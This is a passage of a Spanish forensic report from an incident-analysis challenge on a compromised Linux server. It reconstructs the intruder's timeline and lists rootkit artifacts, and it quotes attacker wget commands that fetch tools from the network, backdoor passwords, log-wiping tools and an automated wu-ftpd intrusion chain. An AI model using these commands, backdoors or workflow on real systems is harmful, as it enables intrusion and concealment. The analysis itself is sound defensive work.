Datos: La siguiente porción de /root/.bash_history recoge esta actividad y se corresponde perfectamente con lo que se puede observar en los accesos a ficheros del timeline de Autopsy:

w cd /var/tmp mkdir ., cd ., dir wget www.geocities.com/adrianboy20ro/psy.tgz tar xvzf psy.tgz cd psybnc/ pico psybnc.conf mv psybnc httpd bash cd .. dir rm -rf psy.tgz wget www.mumutzz.go.ro/manu.tgz tar xvzf manu.tgz cd emech/ dir pico emech.users bash cd .. dir rm -rf manu.tgz

Además, estos comandos también se pueden observar en la partición de swap del sistema analizado.

10:22:19 a 10:46:12

Actividad esporádica de psybnc bajo /var/tmp/.,/.

Datos: Timeline de Autopsy

11:23:42 Última modificación del fichero /usr/local/games/tcp.log. Este fichero es el fichero de log generado por una instancia de "linsniffer", un conocido sniffer para linux. Se puede concluir de su contenido que las siguientes máquinas también fueron, al menos, escaneadas, y posiblemente atacadas y comprometidas

Page 20: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 18

Periodo (Agosto 2002) Acción Evidencia Asociada

(desde las fuentes indicadas):

adsl-209-233-126-166.dsl.scrm01.pacbell.net => 192.168.3.8 [21] proxyscan.undernet.org => redhat71 [23] 67.96.226.249 => 192.168.3.2 [21] 67.96.226.249 => 192.168.192.98 [21] 62.194.200.212 => 192.168.192.98 [21]

Datos: Incluidos en la descripción.

12:33:15 a 15:36:30

El administrador entra en consola (tty1) como root. Ejecuta el comando "ls" para mostrar la lista de ficheros de un directorio. Dado que en ese momento el comando "/usr/bin/ls" ya está contaminado por el virus RST.b, su ejecución provoca que se vuelva a infectar de nuevo el mismo conjunto de comandos bajo /usr/bin. Por ello cambia la fecha de última modificación de todos ellos. Edita el fichero /.bash_history para eliminar sus propios comandos de él y modifica su fecha de última modificación dejándola a 3 minutos antes de su entrada en el sistema. A continuación, lanza la copia binaria de todas las particiones a través de la red, hacia el servidor de FTP 192.168.3.14 utilizando ncftpput (ver Datos). Dado que se lanzó la copia "en vivo", las imágenes obtenidas son "fotos movidas", con lo que es posible que se den ciertas discrepancias entre distintas particiones o incluso dentro de una misma partición, ya que los sistemas de ficheros son accedidos durante el proceso de copia. Esto no tiene por qué constituir un problema. De hecho, no lo ha sido para realizar esta reconstrucción de los hechos. Simplemente, es importante tener en cuenta cómo se han obtenido las copias para poder conocer las limitaciones de los datos que se podrán obtener de dichas copias. En este caso, todas las modificaciones de ficheros acontecidas después de las 12:33:15 son sospechosas de reflejar modificaciones parciales. En este espacio de tiempo, sólo aparecen en el timeline los accesos a ficheros provocados por la ejecución de los comandos del administrador, y cierta actividad esporádica de "psybnc" bajo /var/tmp., y de "emech". La información sobre esta actividad se incluye en el apartado "Resumen de la actividad IRC".

Datos: En la unidad 888 de la partición de swap, se puede encontrar el siguiente comando compuesto, utilizado por el administrador para obtener las imágenes de las distintas particiones del sistema analizado:

Page 21: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 19

Periodo (Agosto 2002) Acción Evidencia Asociada

fdisk -l /dev/hda | grep "^/dev" | cut -d "/" -f 3 | awk '{ print "cat /dev/"$1" | ncftpput -u pepelu -c -p x 192.168.3.14 192.168.3.10-"$1".dd" ; }' | /bin/sh

En él se puede ver el usuario (pepelu) y la contraseña (x) que utilizó para llevar por FTP las copias al servidor 192.168.3.14.

15:16:30

Ultimo acceso a fichero registrado.

Datos: En concreto, el último acceso a fichero registrado fue un acceso de lectura al fichero /etc/hosts. Del timeline de Autopsy:

Fri Aug 23 2002 15:36:30 172 .a. -/-rw-r--r-- root/ssh root 28276 /etc/hosts

Page 22: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 20

5. Análisis de artefactos

Se denomina artefacto a cada uno de los ficheros que quedan en el sistema como consecuencia de una intrusión.

5.1. Ficheros bajo /var/ftp/nerod

El fichero /var/ftp/nerod/nerod.tgz constituye el primer fichero descargado en esta intrusión. Consiste en un rootkit con diversas utilidades. Estos son los ficheros encontrados:

Fichero MD5 / Descripción /var/ftp/nerod.tar.gz 23aa88d8dba7a2474bc6a4879c12156a Se trata del primer paquete instalado en el ataque. Es un 'rootkit' que contiene

varias utilidades, como se describe a continuación /var/ftp/nerod/.1addr 6b7b4d6270255ba973f9865020490423 Fichero que contiene las direcciones de IP a esconder, y que al instalarse el rootkit

fue copiado a /dev/ttyoa /var/ftp/nerod/.1file 14aafeab735548f0d6c24cfb6e6803c0 Fichero que contiene los nombres de fichero a esconder, y que al instalarse el rootkit

fue copiado a /dev/ttyof /var/ftp/nerod/.1logz 9da4efc8dfc18db52f0f39fdc1f04ff3 Fichero que contiene las cadenas a esconder, y que al instalarse el rootkit fue

copiado a /dev/ttyos /var/ftp/nerod/.1proc 710657a7b9f9fb864739f57a71f37ecc Fichero que contiene los procesos a esconder, y que al instalarse el rootkit fue

copiado a /dev/ttyop /var/ftp/nerod/atd.init 5e13cb6e8a752921bae378ea9ccbb2ec Fichero de arranque del demonio 'atd', instalado en /etc/rc.d/init.d/atd, que

además de arrancar del demonio de 'at' tal y como hace el fichero estándar, se asegura de arrancar todos los troyanos instalados con unas líneas de "inet_start all" camufladas por enmedio. Esta función 'inet_start' está definida en el fichero 'functions'.

/var/ftp/nerod/chsh 71dcb1516635e8910a37444ecd95992f Troyano del comando /usr/bin/chsh, está además protegido contra el análisis, al

capturar las llamadas a 'ptrace'. Se trata de un 'backdoor' que da acceso al sistemacomo 'root' al introducir como nueva shell la palabra clave "satori". Este binario es alguna variante del incluido en el rootkit lrk4, ver Uhttp://project.honeynet.org/papers/enemy3/README.txt.U

/var/ftp/nerod/clean f9e2970e3a7682440316b6e1a2687cbe Script para borrar todas las líneas conteniendo una cadena que se pase como

parámetro de todos los ficheros de log bajo /var/log, rearrancando el demonio syslogd. En la instalación del script, se copia a /usr/bin/clean.

Page 23: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 21

/var/ftp/nerod/core 7cb1b3b58c9a0fba42155fab58521d9c Fichero 'core' generado por el comando "/usr/bin/mc -P". A partir del nombre del

fichero y analizando las cadenas dentro de él, se trata del "Midnight Commander", un "file manager" en modo texto bastante potente (ver Uhttp://www.ibiblio.org/mc/U). Se trata de un 'core' que ya estaba en el paquete original 'nerod.tar.gz', por lo que se generó en otro sistema, antes de crearse el mismo. Así, podemos averiguar que el core lo generó el usuario 'root' en un sistema Linux llamado "nfk" y desde el directorio /mnt/c/hacking/lucrare/ptftp/kfn.

/var/ftp/nerod/crontab-entry

5c525103dcefa78d55afb2e9a68e4907

Fichero de configuración de cron, para enviar el primero de cada mes el fichero resultado de sniffing (/usr/local/games/tcp.log) junto con la configuración de red del sistema a la dirección de correo [email protected]"

/var/ftp/nerod/du 12cc055bf763b37f9792b7bef92cf093 Troyano del comando /usr/bin/du, esconde de su salida los ficheros cuyos nombres

contengan lo indicado en el fichero de configuración /dev/ttyof /var/ftp/nerod/find eb1c26da59b892570f4567469d49bd8c Troyano del comando /usr/bin/find, esconde de su salida los ficheros cuyos nombres

contengan lo indicado en el fichero de configuración /dev/ttyof /var/ftp/nerod/functions 527bda3068675f780f66ecb909491c7a Script que define la función 'inet_start' para arrancar los siguientes troyanos: sshd y el

sniffer bajo /usr/local/games/identd. Se copió al final del fichero /etc/rc.d/init.d/functions estándar por el script de instalación del rootkit. De esta forma, y al ser también modificados /etc/rc.d/init.d/atd y /etc/rc.d/init.d/inet, se asegura el arranque automático de los mismos con el inicio del sistema.

/var/ftp/nerod/ifconfig 8455e6975ecccd09dc53fbb26768d19d Troyano del comando /sbin/ifconfig, esconde de su salida el flag PROMISC,

permitiendo tener un interfaz de red en modo promiscuo (para sniffing) sin despertar sospechas. Es un fichero distinto al encontrado bajo sshd/ifconfig, aunque con el mismo propósito.

/var/ftp/nerod/imp da4171d1b46b7792b79a53fc87457fe4 Herramienta de denegación de servicio (DoS) mediante la técnica de 'SYN

flooding', bombardea a un sistema objetivo con un alto número de peticiones de conexión, consiguiendo de forma efectiva su paralización. Instalada en /usr/bin/imp. Conocida también como 'slice3' puede obtenerse en Uhttp://packetstormsecurity.nl/DoS/indexdate.shtml U

/var/ftp/nerod/inet ab0e77afc2091a2791ee91415a935fc4 Modificación del fichero /etc/rc.d/init.d/inet de RedHat 6.0 para ejecutar "inet_start

all" y arrancar los troyanos (ver fichero functions). Puesto que en RedHat 7 se empleaxinetd en lugar de inetd, este fichero no llegó a instalarse (ver script de instalación).

/var/ftp/nerod/install 6d3bca60f8064ff015ecf29b06eeddae Script de instalación del rootkit. Realiza las tareas de copiar los diferentes troyanos a

sus lugares adecuados en el sistema, chequear la existencia de otros rootkits, así como recoger información del sistema y enviarla a direcciones de correo. No llegó a ejecutarse completamente (ver Cronograma de actividades).

/var/ftp/nerod/install.log 9fb4f7f2e0c138839924381fd274e91b Fichero de log de la instalación del rootkit. Contiene numerosos errores (pues hay

ficheros no encontrados, así como prueba que no se ejecutó completamente.

Page 24: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 22

/var/ftp/nerod/killall 1678eb0817a0775fdadd24119e28d810 Troyano del comando /usr/bin/killall, ignora los procesos indicados en el fichero de

configuración /dev/ttyop /var/ftp/nerod/linsniffer 10f6663e2e867f4d3f628648d340e7be Sniffer de red. Instalado en /usr/local/games/identd por el script de instalación,

recoge el tráfico de red y lo almacena en /usr/local/games/tcp.log /var/ftp/nerod/login 9288dac26e0aae060bc2bb036020b451 Se trata de un 'backdoor' del comando login estándar que permite la entrada en el

sistema a cualquier cuenta mediante el password escondido "satori", sea cual sea el password real del usuario. Adicionalmente, si el acceso de root está restringido a otros terminales, emplear el usuario "rewt" da acceso como "root". Finalmente, desactiva el 'history log' si se emplea el backdoor

/var/ftp/nerod/ls 9e7165f965254830d0525fda3168fd7d Troyano del comando /bin/ls, esconde de su salida los ficheros cuyos nombres

contengan lo indicado en el fichero de configuración /dev/ttyof. Se trata del mismo fichero analizado en el reto de honeynet #29 (ver por ejemplo, Uhttp://www.honeynet.org/scans/scan29/sol/gmartin/filelist.html U)

/var/ftp/nerod/md5bd 93002f144fde901260f4b4ebdce57630 backdoor de red. Se trata de una shell conectada al puerto 465 (smtps) haciéndose

pasar por un servidor Sendmail: aparece el banner típico de: 220 - localhost.localdomain SMTPS Sendmail 8.11.0/8.11.0; <fecha>. Cualquier comando que se le introduzca produce un simulacro de error: 500 5.5.1 Command unrecognized: "<comando>" Unicamente al introducir una palabra cuyo checksum md5 de como resultado "855f314a4a3eebb6e1f9c3dae3a8ae31" (generado con un simple echo -n | /usr/bin/md5sum) se abre automáticamente una shell, de la que se ha eliminado el history log. Este binario se copia a /usr/sbin/atd mediante el script de 'install'. Se trata del mismo fichero descrito en Uhttp://www.blockout.info/BkdoorRkTroj/Fredriktxt1.txt U.

/var/ftp/nerod/me d0a432ea2e4e9b462d29796da8eb7bcb Instalado en /bin/me por el script de instalación del rootkit, es un script que

únicamente contiene: #!/bin/sh unset HISTFILE unset TMOUT echo " cd /usr/man/man1/psybnc" echo " open Hftp.geocities.comH"

/var/ftp/nerod/netstat c0e8b6ff00433730794eda274c56de3f Troyano del comando /bin/netstat, esconde de su salida las direcciones IP o

nombres de dominio indicadas en el fichero de configuración /dev/ttyoa. Se trata del mismo fichero analizado en el reto de honeynet #29 (ver por ejemplo, Uhttp://www.honeynet.org/scans/scan29/sol/gmartin/filelist.html U)

/var/ftp/nerod/ps a71c756f78583895afe7e03336686f8b Troyano del comando /bin/ps, esconde de su salida los procesos indicados en el

fichero de configuración /dev/ttyop

Page 25: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 23

/var/ftp/nerod/pstree 99f22aeb2e2f2086fa67f939c0b164db Troyano del comando /usr/bin/pstree, esconde de su salida los procesos indicados

en el fichero de configuración /dev/ttyop /var/ftp/nerod/sense 464dc23cac477c43418eb8d3ef087065 Script de perl para analizar la salida del sniffer LinSniffer, el script de instalación lo

copia a /usr/local/games/banner. Se trata del mismo fichero analizado en el reto dehoneynet #29 (ver por ejemplo, Uhttp://www.honeynet.org/scans/scan29/sol/gmartin/filelist.html U)

/var/ftp/nerod/shad 55955848943cbe9a0bc0fe3d14cba972 Programa para arrancar otros binarios escondiendo su auténtico nombre,

cambiando el argv[0]. Uso: shad <nombre_ficticio> <comando a ejecutar> <parametros>.

/var/ftp/nerod/sshd/ifconfig

086394958255553f6f38684dad97869e

Troyano del comando /sbin/ifconfig, esconde de su salida el flag PROMISC, permitiendo tener un interfaz de red en modo promiscuo (para sniffing) sin despertar sospechas. Una búsqueda del checksum en google confirma que se trata de un fichero ampliamente conocido, perteneciente al rootkit 'lrk5'. Ver, por ejemplo, Uhttp://www.linuxfocus.org/English/November2002/ article263.shtml U.

/var/ftp/nerod/sshd/init.sshd

b33deb29db1aed81866e048416b0bd68

Script de arranque del demonio sshd. El script 'sshd-install' lo copia a /etc/rc.d/init.d/sshd.

/var/ftp/nerod/sshd/install.log

d41d8cd98f00b204e9800998ecf8427e

Fichero vacío. /var/ftp/nerod/sshd/ssh_config

5fd2ce512e0eba4d090191e8a1518808

Fichero de configuración del cliente ssh. No es instalado por el script de instalación en ningún sitio.

/var/ftp/nerod/sshd/ssh_host_key

4effc0e40601df5c7ac6617c4f41eb51

Clave privada de ssh, la copia el script de instalación a /etc y /etc/ssh. Interesante la cadena [email protected].

/var/ftp/nerod/sshd/ssh_host_key.pub

e7c0f95946172c5092f3e8e9538c3a01

Clave publica de ssh, la copia el script de instalación a /etc y /etc/ssh. Interesante la cadena [email protected]

/var/ftp/nerod/sshd/ssh_random_seed

117d5a5ec19a5d0ac029f2a07fc3b617

Fichero semilla para ssh, se copia a /etc/ssh y /etc /var/ftp/nerod/sshd/sshd d17e923542b202746b9b3dad26ed25e7 Se trata de un troyano de sshd, con una puerta trasera que permite el acceso al

sistema con el password cuyo md5 sea "54818b05d116eadc7f67517a3a6e4b33", como puede verse en el código:

Page 26: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 24

/var/ftp/nerod/sshd/sshd_config

57d92002e68514d8998ee64198bbe975

Fichero de configuración de sshd, lo copia el script 'sshd-install' a /etc/sshd_config y /etc/ssh/sshd_config. Configura al demonio para escuchar en el puerto 1981, en lugar del estándar 22.

/var/ftp/nerod/sshd/sshd-install

a03539cf459cd43ff53754ceca78e0ef

Script de instalación del troyano de sshd, copia el binario y los ficheros de configuración y claves a los directorios estándar de ssh.

/var/ftp/nerod/sysinfo b40fa196dad1170bb4c52a35a73e6457 Script para recolectar información del sistema: configuración hardware y software,

ficheros mpeg y mp3 e información sobre tarjetas de crédito. /var/ftp/nerod/syslogd 53fc8c03b327952fbe891d4f02a036b8 Syslogd troyano, no envía al log del sistema ninguna información con cadenas

encontradas en /dev/ttyos /var/ftp/nerod/syslogd.init 29056af3ff697f3cf5de07ef3bc46814 Script de arranque del demonio syslogd, se copia a /etc/rc.d/init.d/syslog. /var/ftp/nerod/top 58a7e5abe4b01923c619aca3431e13a8 Troyano del comando /usr/bin/top, esconde de su salida los procesos indicados en

el fichero de configuración /dev/ttyop /var/ftp/nerod/vdir bfb9788eaa2010ebad96be6aead8a600 Troyano del comando /usr/bin/vdir, esconde de su salida los ficheros cuyos nombres

contengan lo indicado en el fichero de configuración /dev/ttyof. /var/ftp/nerod/wp c4774db51553f61c8aefb1bcc123a81c Programa para limpiar los ficheros de log wtmp,utmp y lastlog. Es el mismo referido

en Uhttp://www.blockout.info/BkdoorRkTroj/Fredriktxt1.txt U

Page 27: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 25

5.2. Ficheros bajo /root/.,

Bajo /root/., encontramos una serie de ficheros instalados por el intruso. Se trata de dos paquetes: awu.tgz y psyBNC.tar.gz, descargados mediante wget como demuestran las líneas del fichero /root/.bash_history:

wget Hwww.geocities.com/master0n/awu.tgz H

wget www.geocities.com/gavish19/psyBNC.tar.gz

Los ficheros de dichos paquetes se agrupan bajo sendos subdirectorios:

o awu

o psybnc

Ficheros bajo aw

Fichero MD5 / Descripción /root/.,/awu.tgz 602141db068fc251a352fb474ffa5a74 Paquete que contiene los ficheros. Descargado de www.geocities.com/master0n

mediante wget (como puede verse en el fichero /root/.bash_history) el 23 de Agostoa las 01:41:51 (de acuerdo con los tiempos de acceso de los ficheros). Un paquete similar a este aparece referido en Uhttp://www.giac.org/practical/Jerry_Pierce_GCFA.docU y en el incidente de Uhttp://serkoon.honeypots.net/smenutz.html U. Hay también información en Uhttp://www.zone-h.org/en/forum/thread/forum=3/thread=18950/U

/root/.,/aw/12.216.pscan.21 d41d8cd98f00b204e9800998ecf8427e Fichero vacío. Resultado de la búsqueda de sistemas con un servidor ftp en la

subred 12.216 mediante el programa 'pscan2'. Aparentemente se abortó la ejecución de "awu 12.216" mediante Control-C (ver /root/.bash_history).

/root/.,/aw/auto ac45b33a1951a851142b2ec670e43664 Simple script para llamar a 'awu' probando una subred clase A entera:

echo "Enter A class range" read brange echo "Enter output file" read file crange=0 while [ $crange -lt 255 ] ; do echo -n "./awu $brange.$crange ; " >> $file let crange=crange+1 done

Page 28: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 26

/root/.,/aw/awu 0e5ca367e765319610f71eabc3afdd08 Programa para, de forma automática, entrar en los sistemas vulnerables al exploit

'wu' de una red clase B. El funcionamiento es el siguiente: 1- Con ayuda de 'pscan2', se detectan los sistemas con el puerto 21 (ftpd) activo. 2- Se eliminan sistemas duplicados empleando 'sort' y 'nodupe' 3- Se buscan aquellos servidores wu-ftp vulnerables, mediante 'ssvuln'. 4- Se intenta entrar en cada uno de ellos mediante 'oops' (que a su vez llama de forma recursiva a 'ss') e instalar automáticamente un rootkit. 5- La lista final generada contiene los sistemas listos para entrar con un backdoor ya instalado.

/root/.,/aw/awu.list 5de1b020d2e7dd350b2104c54ab6899d Contiene una lista de 6 direcciones IP y sus nombres asociados, resultado de la

ejecución de 'ss', en los cuales se ejecutó de forma satisfactoria el exploit 'wu' y se instaló automáticamente un rootkit (5 de ellos en la red 62.X.X.X). La misma está ya contenida en el fichero original awu.tgz, luego se generó en un sistema distinto

/root/.,/aw/awu.log 38191e26afe4084ff8cde4b27c1f0ca4 Fichero de log resultado de la ejecución de awu, buscando sistemas vulnerables en

las subredes 128.123.X.X., y entrando de forma automática en 6 de ellos. /root/.,/aw/doit4me 92bad96c06ee8269423cafbf4fb53f04 Script muy parecido a 'auto' para escanear una subred clase A entera, sólo que con

comentarios en rumano. /root/.,/aw/Makefile 480432ec9b9e79d9f1913efa4187b2a9 Makefile para generar los binarios 'pscan2', 'oops', 'ss', 'nodupe' y 'ssvuln' a partir de

sus fuentes correspondientes. Es interesante que no existe fuente alguno para los exploits 'wu' y 'x2'.

/root/.,/aw/nodupe f79b61d2b4725c192883397580f93fad Programa que ordena y elimina direcciones IP duplicadas de un fichero de entrada

(que se toma como primer parámetro) y lo escribe en un fichero de salida (que se toma como segundo parámetro). Empleado por 'awu' después de la fase de detección de direcciones IP.

/root/.,/aw/nodupe.c 5b47796f7f96fb5aa2ab487900294404 Código fuente en C del anterior programa /root/.,/aw/nodupe.o 9f7cb0c1a84e7cf888fb5e6be379caf0 Fichero objeto del anterior programa /root/.,/aw/oops ce1efa87422513db8599a0f3d4939f3b Programa para llamar al exploit 'ss' de forma recursiva con todas las direcciones IP

contenidas en un fichero que se pasa como parámetro. Empleado por awu. /root/.,/aw/oops.c e9c6ea1c70c86e206955b6143ac1d559 Código fuente en C del anterior programa /root/.,/aw/oops.o cb63a4e21e35566c744b418a15c91ea4 Fichero objeto del anterior programa /root/.,/aw/outpu ca7ebe136969e0c8ff334ed55259de90 Contiene una única gran línea con la llamada a 'awu' con las subredes de la 62.0 a

la 62.254. Aunque el nombre sugiere que es el resultado de alguna ejecución, puede perfectamente emplearse para lanzar dichos comandos.

Page 29: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 27

/root/.,/aw/pscan2 d8c9fea1dbeb7b0e457c861b7a5b40bc Programa para escanear subredes clase B en busca de sistemas con un

determinado puerto activo. La subred y puerto a escanear se introduce como parámetro y el resultado se guarda en un fichero de nombre <subred>.pscan.<puerto>. El scanning se realiza en paralelo hasta 650 sockets para minimizar el tiempo de búsqueda.

/root/.,/aw/pscan2.c 9b2e77ee16ff2c29e08cba331d74057c Código fuente en C del anterior programa /root/.,/aw/ss 987f5d76f78d1e0a6f9e504a0f140eda Programa para intentar entrar en un sistema, cuya dirección IP se pasa como

parámetro, mediante el exploit 'wu'. Ejecuta 'wu -t -d <ip_address>' y si entra en la victima, le intenta instalar de forma automática un rootkit, descargado de http://diablows.org/gold.tgz mediante wget ó lynx. Si consigue de forma efectiva instalar el backdoor correspondiente, guarda su dirección IP en el fichero awu.list para su posterior revisión. El rootkit http://diablows.org/gold.tgz es referido en el incidente Uhttp://www.incidents.org/detect/rating.htmlU y en Uhttp://serkoon.honeypots.net/smenutz.html U, pero el fichero en cuestión ya no está disponible en esa url.

/root/.,/aw/ss.c b91ca7103105fde7054f3424e8d82d4b Código fuente en C del anterior programa /root/.,/aw/ssvuln e9220bde5b4be41365ff78e609d97446 Programa para buscar servidores wu-ftpd. Las direcciones a testear se indican en un

fichero que se pasa como parámetro y la lista de los encontrados se guarda en otro fichero que se pasa como segundo parámetro. El programa paraleliza la búsqueda creando tantos procesos hijo como se le indique en el tercer parámetro.

/root/.,/aw/ssvuln.c 071245a9bc3b47771c12278f450114a0 Código fuente en C del anterior programa /root/.,/aw/targets 92efc70ddbd865b388be9ea3f0c39001 Contiene una lista de versiones de SSHD, presumiblemente las vulnerables al exploit

'x2'. /root/.,/aw/test.c d41d8cd98f00b204e9800998ecf8427e Fichero vacío. Su propósito es desconocido, puesto que no se usa en los otros

programas. /root/.,/aw/test.f d8e8fca2dc0f896fd7cb4cb0031ba249 Fichero que únicamente contiene la palabra "test". Al igual que el anterior, su

propósito es desconocido. /root/.,/aw/wu 33459cdd140ac993a326a8f4b76f19c5 Exploit hecho por TESO (http://teso.scene.at) para la vulnerabilidad de globbing de

múltiples versiones de wu-ftpd, incluyendo 2.6.1-16. El exploit, tanto una versión compilada como su código fuente, están disponibles en las siguientes direcciones:

Uhttp://packetstormsecurity.nl/removed/7350wurm.desc Uhttp://packetstormsecurity.nl/removed/7350wurm Uhttp://packetstormsecurity.nl/0205-exploits/7350wurm.c U

Esta es su descripción original: "This is a TESO exploit for the double free() bug that

Page 30: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 28

exists in multiple wu-ftpd servers. The exploit can target many different Linux/x86 configurations and is distributed in binary form. Targets wu-2.4.2-academ[BETA-18](1), wu-2.6.0(1), wu-2.4.2, wu-2.6.1-18, wu-2.6.1-16, and more." El checksum del fichero coincide con el binario disponible en http://packetstormsecurity.nl. La vulnerabilidad que aprovecha está descrita en los siguientes boletines de seguridad:

Uhttp://www.cert.org/advisories/CA-2001-33.html Uhttp://www.kb.cert.org/vuls/id/886083 Uhttp://www.kb.cert.org/vuls/id/AAMN-54WPCS Uhttp://rhn.redhat.com/errata/RHSA-2001-157.html Uhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0550 U

/root/.,/aw/x2 1309689a9af6b82e11e8dfa5c6282c30 /root/.,/aw/x2 Se trata de un "exploit" para atacar los puertos de sshd, empleando la

vulnerabilidad descrita en el aviso "SSH1 CRC-32 compensation attack detector vulnerability" (Uhttp://www.securityfocus.com/advisories/3088 U). Tanto la salida del comando 'strings' como el checksum md5 coinciden con un binario conocido. Un análisis profundo del exploit puede encontrarse en HUhttp://staff.washington.edu/dittrich/misc/ssh-analysis.txt UH

En resumen, nos encontramos ante un ‘scanner’ que automatiza la intrusión en sistemas con wu-ftpd vulnerable. Este sería el esquema de trabajo de ‘awu’:

awu

pscan2

nodupe

ssvuln

ss

oops

Servidor 1Servidor 2Servidor 3IP address

1.- Detección de servidores ftp

2.- Eliminación de servidores duplicados

3.- Selección de servidores wu-ftpd

wu exploit

gold.tgz rootkit

4.- Entrada al sistema e instalación de backdoor

5.- Generada lista final con los sistemas comprometidos y el backdoor instalado y verificado.

Fichero incluido en awu.tgz

Descargado automáticamente de http://www.diablows.org

Page 31: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 29

Ficheros bajo psybnc

El directorio /root/.,/psybnc contiene la versión 2.2.1 del conocido proxy de IRC psybnc, descargado mediante wget desde www.geocities.com/gavish19. psybnc permite mantener conexiones IRC de forma anónima, entre otras funcionalidades (ver, por ejemplo, HUhttp://www.jestrix.net/tuts/psy.html UH ó HUhttp://www.netknowledgebase.com/tutorials/psybnc.htmlUH ).

Se trata del primer proxy de IRC configurado en el sistema. A partir de los ficheros de configuración y ficheros de log, es posible conocer a qué servidores, qué canales y con que ‘nicks’ se conectó el usuario. Puesto que en el análisis hemos encontrado más de un proxy de IRC, hemos creído interesante analizar todos ellos de forma conjunta en el apartado 5.5 Resumen de la actividad IRC.

Page 32: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 30

5.3. Ficheros bajo /var/tmp/.,

Una última ‘fase’ de creación de ficheros consistió en crear el directorio /var/tmp/., y descargar sobre él los paquetes “manu.tgz” y “psy.tgz”, nuevamente obtenidos mediante wget:

wget Hwww.geocities.com/adrianboy20ro/psy.tgz H

wget www.mumutzz.go.ro/manu.tgz

En ambos casos, tras instalar el paquete correspondiente, borra los ficheros con ‘rm’. No obstante, en el caso de ‘manu.tgz’ puede recuperarse del disco mediante ‘autopsy’.

/var/tmp/.,/psybnc/ contiene los ficheros de otra instancia del proxy IRC psybnc, esta vez en la versión 2.2.2beta. En este caso, el atacante ha renombrado el binario a ‘httpd’ para intentar disimular su presencia. La información obtenida del análisis de estos ficheros puede verse en el apartado 5.5 Resumen de la actividad IRC.

/var/tmp/.,/emech contiene los ficheros del IRC bot ‘emech.

Fichero MD5 / Descripción /var/tmp/.,/emech/emech.users 44ee32a46470033ecf9adbe06b885d65 Fichero de configuración de usuarios de emech. Contiene ‘Adrian’ y

‘George’ /var/tmp/.,/emech/emech.users.save 68b329da9893e34099c7d8ad5cb9c940

Fichero de configuración de usuarios que estaba originalmente en el paquete “manu.tgz”, no contiene ningún usuario.

/var/tmp/.,/emech/httpd 9e56400ac68ab3278460bed8dfc91e3f emech IRC bot. (ver Uhttp://www.energymech.net/U) Es el binario de

'emech', si bien el atacante lo ha cambiado de nombre para intentar pasar desapercibido con el nombre de un servidor web estándar. Se trata además del fichero contaminado con el virus RST.b cuya ejecución provocó la aparición de los ficheros /dev/hdx1 y /dev/hdx2 y la contaminación de otros ficheros en /bin. Una buena descripción del virus está disponible en Uhttp://UHUwww.virusbtn.com/magazine/archives/pdf/2002/200202.PDF UH

/var/tmp/.,/emech/LinkEvents 9869c9eb2868bf53b21738492160d0af Registra el arranque de emech el 23 Ago a las 10:20:29:

1030090829 EnergyMech started... /var/tmp/.,/emech/mech.levels e75d953b41779538cb4e148dc6934c44 /var/tmp/.,/emech/mech.session 44b868fa12a80f674905a1faf5b7052b

/var/tmp/.,/emech/mech.set 2821fb2c4613886826d5d60b796e2de8

Ficheros de configuración de emech. La información obtenida del análisis de estos ficheros puede verse en el apartado 5.5 Resumen de la actividad IRC.

/var/tmp/.,/emech/mech.pid 013c04f8e2ec5ea4316d0cf85d8dc52a

Fichero que contiene el PID del proceso emech (7989)

Page 33: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 31

5.4. Ficheros bajo /bin, /usr/bin y otros directorios del sistema

Como consecuencia de la instalación del rootkit bajo /var/ftp/nerod, diversos comandos y ficheros de configuración del sistema fueron alterados. Adicionalmente, la ejecución del fichero /var/tmp/.,/emech/httpd, infectado con el virus RST.b (ver [12]) , provocó la infección de toda una serie de binarios bajo /bin. Finalmente, algunos otros ficheros modificados por la ejecución de alguna acción específica durante el ataque son también descritos aquí.

Fichero MD5 / Descripción /bin/chgrp fcd4b5b713a65f0a0facff1fec9f7adb binario original, infectado por el RST.b virus /bin/chmod 091d7e041cd159af58cf2ae7c2308ecf binario original, infectado por el RST.b virus /bin/chown c9432d8f9f47d0c2b5077899a9959195 binario original, infectado por el RST.b virus /bin/cp f97defd364f96870e544ea6f35a88bf8 binario original, infectado por el RST.b virus /bin/cpio d057e30942689afd6709667ef53d37ff binario original, infectado por el RST.b virus /bin/dd ad57fe67aab271c189379e9647db4f6b binario original, infectado por el RST.b virus /bin/df 5bd8d84153c532bb6cd6753a2896450a binario original, infectado por el RST.b virus /bin/ed 1e0c75b2cb4b04a24cb78f1011afa5b6 binario original, infectado por el RST.b virus /bin/hostname 2d608e6246213bb4e0af7be1f25a4f21 binario original, infectado por el RST.b virus /bin/ln 1bbb0fd3956bcc2e1258400ec1064a46 binario original, infectado por el RST.b virus /bin/lnetstat 30286974e55bb9f9e82f93cc44c39492 Binario /bin/netstat original de RedHat 7.1, movido aquí por el script

/var/ftp/nerod/install /bin/login 9288dac26e0aae060bc2bb036020b451 Instalado desde /var/ftp/nerod. Se trata de un 'backdoor' del login estándar que

